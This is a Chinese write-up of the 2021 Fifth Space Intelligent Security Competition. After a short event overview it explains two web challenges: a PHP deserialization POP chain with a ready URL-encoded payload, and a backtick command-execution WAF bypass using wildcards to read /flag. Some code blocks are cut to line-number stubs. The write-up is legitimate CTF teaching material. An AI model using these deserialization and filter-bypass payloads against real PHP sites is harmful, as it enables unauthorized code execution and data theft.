2021 第五空间智能安全大赛 WriteUp
🏛️ 组织架构
主办单位:天津市委网信办、天津市总工会
承办单位:三六零集团(360政企安全集团)、天津滨海高新区总工会
协办单位:包括国家工业信息安全发展研究中心、南开大学网络空间安全学院、天津大学网络安全学院等多家机构
📅 赛程与赛制
报名时间:2021 年 8 月 27 日至 9 月 12 日
线上初赛:2021 年 9 月 16 日举行,采用 CTF(解题)模式
线下决赛:2021 年 10 月 10 日在天津举行,采用 A&D(攻防对抗)模式
颁奖典礼:2021 年 10 月 11 日
📊 赛事规模
本届大赛共吸引了 420 支战队、2511 名选手报名参赛
比赛分为学生组和社企组两个赛道
初赛每个组别各有 18 支队伍晋级,另有 4 支特邀队伍,共计 40 支队伍入围线下决赛
大赛总奖金池丰厚,两个组别的特等奖奖金均高达 10 万元
Web
pklovecloud(POP 链)

用户可控参数 pks 被直接 unserialize(),随后又被 echo,因此会触发对象的 __toString() 魔术方法
1 | if (isset($_GET['pks'])) |
代码中有三个类
1 | class pkshow |
入口是 echo $logData;,如果 $logData 是 acp 对象,就会触发 acp::__toString()
acp::__toString() 里会调用 $this->cinder->echo_name();
正常情况下,$cinder 是 pkshow 对象,只会返回 Pk very safe^.^
但是反序列化时,构造函数 __construct() 不会自动执行,而且对象属性可以由序列化字符串控制
所以我们可以让 acp::$cinder = new ace();
进入 ace::echo_name() 后,代码是
1 | $this->openstack = unserialize($this->docker); |
有一个关键变量 $heat,它没有定义,所以值为 NULL,因此
1 | $this->openstack->neutron = NULL; |
条件判断变成
1 | NULL === $this->openstack->nova |
整体 POP 链如下
1 | GET pks |
Payload
1 |
|
URL 编码
1 | ?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D |
hate_php(反引号 RCE + 短 echo 标签绕过 + 通配符绕过)

打开首页直接给了源码
1 |
|
过 WAF,也就是不能出现
1 | A-Z |
PHP 里反引号
1 | echo `id`; |
等价于执行系统命令并输出结果,类似
1 | echo shell_exec("id"); |
构造 Payload 如下
1 | `command` |
再配合通配符构造最终 Payload
1 | `/???/??? /????` |
等同于
1 | echo `/bin/cat /flag`; |
